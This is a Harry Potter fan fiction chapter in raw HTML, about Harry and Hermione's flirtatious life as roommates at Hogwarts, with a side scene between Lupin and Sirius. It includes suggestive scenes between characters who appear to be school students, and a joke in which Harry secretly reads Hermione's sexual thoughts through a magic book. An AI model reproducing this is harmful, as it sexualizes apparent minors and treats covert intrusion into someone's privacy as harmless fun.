class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ginny watched as Harry and Hermione came in through the\nportrait. She sucked on a sugar quill while watching Hermione laugh at a joke\ntold by Harry. She didn\'t feel jealous, she noticed. It had happened slowly,\nbut the crush on the Boy-Who-Lived slowly died down over the years. Although\nshe was still attracted to him, she found that that, too, was dying off .&nbsp; In fact, she\nwas assuming she was over it all-together. The thought made her smile and bite\nher quill off to get more flavour.&nbsp; She\neyed the pair as Harry grabbed Hermione and slung her over his shoulder and\ncarried her up the stairs to their room.&nbsp;\nA grin played across Ginny\'s face. They were cute together.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Har-ryyyyy!&quot; Hermione\nwhined, hitting his back. &quot;Put me downnnn!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Say please?&quot; Harry smirked, twirling a little and\ngetting a shriek. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Please!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Okay.&quot; He dropped her on her bed, where she\nlanded with a light \'oof\'. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;You\'re mean.&quot; She accused, looking up at him. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Nah.&quot; He sat next to her\nand sank into the bed. She usually kept it so soft it literally almost molded\nto his body. &quot;You\'re just fun to tease.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione laughed and poked his knee. Harry had taken to\nsitting Indian style, while she still lay on her back, facing him. &quot;I\nthink you just like carrying me.&quot; She accused with a smile.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;You\'re as light as a feather.&quot; He replied, poking\nher stomach and getting a laugh. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Don\'t get any ideas.&quot; Hermione\'s eyes twinkled at\nhim. She sat up and grabbed his hand when he tried for another poke. &quot;I\'m\ntoo sleepy tonight.&quot; She patted his hand and slid off of her bed. Harry\nwatched as she opened her trunk and rooted through it. &quot;Harry, can I\nborrow another shirt?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He groaned. &quot;Hermione, you have like six of them\nalready.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Yeah, but I love your dress shirts. They make for the\nperfect night gown.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Sure, sure.&quot; He kicked\noff of her bed and walked over to his trunk, pulling one out. &quot;That\'s\nseven now. One for each night.&quot; A quick toss made\nhis roommate happy. He watched her change into it with a small smile and a\nshake of his head. She really was too much to take sometimes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">When Hermione got the top buttons done, she turned back\naround to face her friend while talking. &quot;If you ever want to wear my\nnight cloths, just ask.&quot; She teased, buttoning them as she went. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I don\'t think pink panties and a tank top would work\nfor me.&quot; Harry said while sticking out his tongue. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione laughed and left the bottom three buttons undone.\nShe walked over to him and gave the boy a hug. &quot;Thanks Harry.&quot; She\ngrinned.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Yeah, yeah, as long as your\nhappy.&quot; He waved it off. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione crossed her arms over her chest. &quot;Well you <i style="mso-bidi-font-style:normal">do</i> get to see me prance around in my\nunder-things.&nbsp; I think it\'s an even trade.&quot;\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry inadvertently found his eyes trailing to just a little\nbelow her waist, where her flaming pink panties were still clearly visible.\nShaking his head, he cleared the thoughts from his mind. &quot;I think it\ndrives me crazy more than makes it even,&quot; He replied with his eyes closed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She smirked and walked up to him, touching his chest with\nthe tip of her finger and running it up and down. &quot;Aww, is Hare-bear a\nlittle upset?&quot; She cooed in a mocking yet seductive voice. &quot;Want\nHermione to make it all better?&quot; She pulled off his shirt quickly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;H-Hermione!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ignoring him, she pushed him on top of his bed and crawled\non top of him, letting him see a little down her shirt. Very slowly, she slid\nher body against his and straddled his waist, placing her hands on his chest.\n&quot;Still think it\'s not an even trade?&quot; She purred to him in a husky\nvoice.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I&#8230;. I&#8230;&quot; He paused when he saw her face twitch.\nLooking closer, he realized that she snorted back a laugh. &quot;Hermione!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The girl couldn\'t take it anymore. She broke out laughing\nand rolled off of him. &quot;Should have seen your\nface!&quot; She called out in between gasp for air. &quot;Priceless! Hahaha!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry growled and tackled her, pinning the girl under him. A\nglare only made her laugh harder. &quot;So I can play too?&quot; He asked, undoing\none of her buttons.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione stopped laughing and took to a blush. &quot;Harry,\nI\'m sorry, it\'s just that..&quot; Another button came\nundone. &quot;H-harry!&quot; The boy started laughing\nnow. Realizing that he was getting revenge on her made\nHermione a little mad. &quot;You little!&quot;\nQuickly thinking, she took advantage of him being shirtless and started to\ntickle him. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">This continued for another four minutes before Harry fell\nback onto his bed. Hermione was laying on top of him now, shirt being mostly\nundone. Breathing heavily from all the laughing, Hermione propped herself up on\nher hands on either side of him. &quot;You\'re too much fun.&quot; She teased\nhim with a smile. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;As are you.&quot; He replied,\ngrinning.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Suddenly the door opened up and Dean, Seamus, and Neville\nburst in. &quot;Will you two <i style="mso-bidi-font-style:normal">please</i>\nkeep-&quot; the group suddenly spied them. &quot;It,&quot; Seamus\'s voice was\nfailing him. &quot;down?&quot; He finished lamely. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry looked up at the half naked Hermione on top of him,\nadded in the factor of him being half-naked as well. Multiplying the fact that\nboth were breathing hard and divided the product of this by only one bed being\noccupied of two, he came to only one conclusion: &quot;This&#8230; doesn&#8217;t look good\ndoes it?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lupin looked into the fireplace, watching the red and orange\nflames dance around. He let his mind wonder about the past events. Dumbledor\nhad requested that he re-join the staff and work with him in the fight against\nVoldemort. He wasn\'t sure what his job would be at the current moment, however.\nSirius would arrive soon to talk to him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Ah, hello Moony.&quot; A\nvoice sprang up from the fire. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lupin turned his attention to the face in the fire and\ngrinned. &quot;Padfoot, it\'s been a while.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Yes, at least a month and a half. I get worried when\nwe can\'t keep in touch.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The man in the chair sighed. &quot;Yes. We need a way to\ncommunicate our plans more.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Suddenly Sirius grinned. &quot;Hey, Moony?\nRemember the book of thoughts?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Yeah! We could duplicate it\nor something! Do you still have it?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Harry does&#8230;&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I can request it tomorrow.&quot; He nodded.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Moony, By the way&#8230;&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Harry is fine, Padfoot.&quot; He said, getting a smile\nfrom his old friend. &quot;He\'s changed a lot since I last saw him. New haircut, no glasses, grown at least a foot! Did you\nrecommend working out? He has muscle now.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Harry has written a few times,&quot; Sirius nodded in\nthought. &quot;He sent me a picture of him and Hermione in a recent letter. He\nhas a rather interesting necklace as well, doesn&#8217;t he?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I didn\'t get a chance to observe him too much in\nclass, because no one is supposed to know of a connection between us all&#8230; Oh!\nPadfoot, you\'ll be so proud of Harry!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;What did he do this time?&quot; Sirius smirked.\n&quot;He has gotten in more trouble than all of us combined, that one\nhas!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;His team name.&quot; Lupin told him with a quarky\nsmile. &quot;He named his team \'The Marauders\'. &quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Did he now?&quot; Sirius was looking rather pleased\nwith himself. &quot;Following in the footsteps of his father, he is.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Of his Godfather, actually.\nHe seems to love the colour black now.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;That\'s my boy.&quot; Suddenly Sirius turned serious.\n&quot;Moony, we need to talk Seriously now. Try and\nget the book from Harry tomorrow. I also have your mission. I\'m in a muggle\nhouse at the current moment so I can\'t talk long.&quot; He grinned.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lupin laughed. Leave it to Padfoot to say that after\nchatting about nothing for five minutes. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione rolled over in her bed lazily the next morning.\nHugging her pillow close to her chest, she let out a content sigh as she woke\nup. Her vision was fuzzy at first, but a few blinks quickly cleared it. Sitting\nup, she let out a long yawn and stretched out, letting her shirt rise and show\nher stomach. Turning, she let her feet off the side of her bed and reached\nforward to pull the curtains aside. A cold rush greeted her a good morning. She\nshivered, hugging her arms. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Sliding out of bed and into her slippers, she walked to her\nnightstand and picked up her wand. A small charm was cast and the normally cool\nroom became warm. She had just taken down her coolness charm and replaced it\nwith a light morning warming one. Hard to believe it was already the beginning\nof November.&nbsp; Turning on the Wizard\nWireless Network, she checked the local weather forecast. She listened to a few\nsongs while picking out her cloths for the day and arranging her trunk so her\nlong sleeved shirts and warmer clothing were on top.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Deciding on what to wear, she held it up in front of the\nmirror. A long sleeved tight red shirt with blue jeans. She would tuck her\nshirt in and wear a belt for a style rather than actually needing it. In fact,\nthese were her favourite pair of jeans. They were cut low and very tight. It\nwas a shame her school issued robes would cover it. She was sure she would look\nrather nice like that. With a smile she made a decision. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione lit a few candles with the wave of her wand. The\nsun wasn\'t quite up just yet. She had grown accustomed to waking up early, and\nhad begun using the time to take a nice long bath. She usually took a book with\nher to read and sat on the steps while soaking. A few times she met Harry in\nthe bathroom as well. He had let her borrow his book on Dragons the day after\nhe found her asleep on his bed reading it. Turns out she was worrying over\nnothing the entire time. He hadn\'t thought twice about it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She smiled at the memory of him walking in on her in the\nbath for the second time. She had lost track of time and had staying in five\nminutes past her time while reading. When Harry showed up, he had stripped and\nhopped in without a second thought. At her screech of surprise, he only grinned\nand commented about her being a \'book worm\' and took to swimming the bath. At\nthe time she had laughed and went back to reading (being at a particularly\ninteresting part about mindspeak between human and dragon).&nbsp; Although they had never seen each other naked\nbefore, each was getting more and more accustomed to being so close to the\nother.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">In fact, just the other day Harry had found a bra of\nHermione\'s lying out. He teased her about it and swung it over his head while\nkeeping it out of her blushing reach. That was also the first time Harry found\nout her size. Hermione laughed at the memory.&nbsp;\nShe was a 36A, and he teased her for days on end after finding out. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">With a small chuckle, Hermione scribbled down a note for\nHarry telling him to dress warmly since a cold front had came in and the\ntemperature would be dreadfully low today. Cloths in hand, she made her way out\nof her room and into the common room. She lit a real fire with her wand as she\npassed it to knock off the early morning chill for everyone else. Through the door\nand down the hall she went. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Upon reaching the prefect\'s bathroom, she paused for a\nmoment to tell the password and gain entrance. She checked the names just in\ncase someone else might of wanted an early bath, but\nfound that she (once again) had it all to herself. She sat down her cloths and\nunbuttoned the nightshirt she wore, also known as Harry\'s dress shirt. She\nfolded it neatly and placed it in the hamper labeled dirty, followed by her\npanties. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Picking up a towel, she made her way to the giant bathtub\nand turned on the sixth, thirteenth, and fifthteenth faucets, getting her\nfavourite smell. The perfumed water was filling up the tub quickly; adding pink\nand purple bubbles as it went. When the water was at a suitable level, she cut\nthem off with a wave of her wand. Sliding into the water, she started to swim a\nlittle before sighing contently and ducking under water.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry sat up in his bed grudgingly. He sat for a few\nmoments, trying to wake himself up completely. This was helped by a large\nstretch and a pulling back of his curtains. Sunlight was drifting in, lighting\nup the room. He noticed a few candles were lit and smiled to himself\nsleepily. Hermione was still a mystery to him. He still had no idea how she\ncould wake up so early. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;<i style="mso-bidi-font-style:normal">Morning,\nSunshine.</i>&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He yawned again before replying to her. \'<i style="mso-bidi-font-style:normal">Hey-ya, Cecilia.\'</i> </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;<i style="mso-bidi-font-style:normal">Sleep well?</i>&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry picked up the note on his trunk and read it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Hare-bear,</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dress warm today, hon. It\'s supposed to be cold because of a cold front moving in. </i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </i><i style="mso-bidi-font-style:normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal">\'<i style="mso-bidi-font-style:normal">Yeah, I slept all\nright.</i>\' Harry though, putting the note in his trunk and rooting for warm\ncloths. Deciding on a green sweater and his casual black jeans, he tossed his\ncloths on the bed and rooted around for some socks. After finding all of his\ncloths for the day, he picked up a book he had forgotten about. \'<i style="mso-bidi-font-style:normal">You sleep good,\nCecilia?\'</i></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&quot;Yes, I suppose.\nIt\'s more like hibernating than sleeping, however.</i>&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Yeah, I think you told me that once.&quot; He sat on\nhis bed and placed his cloths beside him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;<i style="mso-bidi-font-style:normal">What is that</i>?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;It\'s a book my Godfather sent me.&quot; Harry spoke\naloud, opening it to the first page and reading it again. &quot;I think I\'ll\ntry it out.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;<i style="mso-bidi-font-style:normal">What does it do</i>?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Lets me read thoughts.&quot;\nHe snagged a quill and wrote Hermione\'s name on the top of the page. &quot;And\ndon\'t say anything about how it\'s \'rude\' to intrude, \'cause you read my\nthoughts all the time.&quot; He felt Cecilia laugh a little. Words appeared on\nthe page, in Hermione\'s neat handwriting. &quot;Let\'s see what Hermione thinks\nabout while in the bathtub, shall we?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Oh\nYes&#8230;oh, oh, right there&#8230; Yes&#8230; Oh sweet Merlin, yes! Mmmm&#8230;.This feels so\ngood&#8230;oooohhhh&#8230;.</i></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry slammed the book closed with a sharp blush shooting\nover his face. &quot;<i style="mso-bidi-font-style:normal">Should I say\nsomething about this?</i>&quot; A voice asked him in his head. &quot;<i style="mso-bidi-font-style:normal">Harry? Harry? Oh my god, we lost him&#8230;</i>&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione sighed and rinsed the shampoo from her hair and\nlooked at the bottle of Herbal Essence. &quot;And I never did believe those\ndumb commercials either!&quot; She grinned and replaced the cap on it. &quot;Now to dry it.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione grinned, moving her wand over her hair once again.\nShe had been doing this for almost an hour now and was almost done. Curiously,\nshe looked over he shoulder to her clock on her\nnightstand. Seven ten. Harry had\ngiven her an odd look when she first came into the room. True, he never saw her\ncome in with a towel in her hair either, but that was because she almost always\nstarted fixing her hair while he was in the tub. The look was still disturbing,\nthough. His eyes were glazed and he had a look like he was really&#8230; enjoying\nsomething.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Shrugging, she looked back at the mirror. Harry would freak\nwhen he saw her. With a final stroke, she declared herself finished. With a\ncareful shake of her head, she let her hair fall behind her, going well to the\nmiddle of her back. It was amazing how much longer it was when it was straight.\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She couldn\'t keep the smile from her face. It had taken her\na long time, and she would miss most of breakfast, but it would be worth it.\nWith a grin, she applied a faint hint of muggle make up. A little eye shadow\nand a small touch of lipstick graced her face. She never really used make up\nbut for some reason she had awoken wanting to look pretty today. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She smiled at her reflection. Pulling on her robes, she\nwalked to the door and felt her straight hair fly out gracefully behind her.\nShe would knock him dead today and tease him non-stop until he got a nosebleed\nfrom blushing too much. The idea made her smile and blush lightly. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Today she would up the anti in their little flirting game.</p>\n\n<p 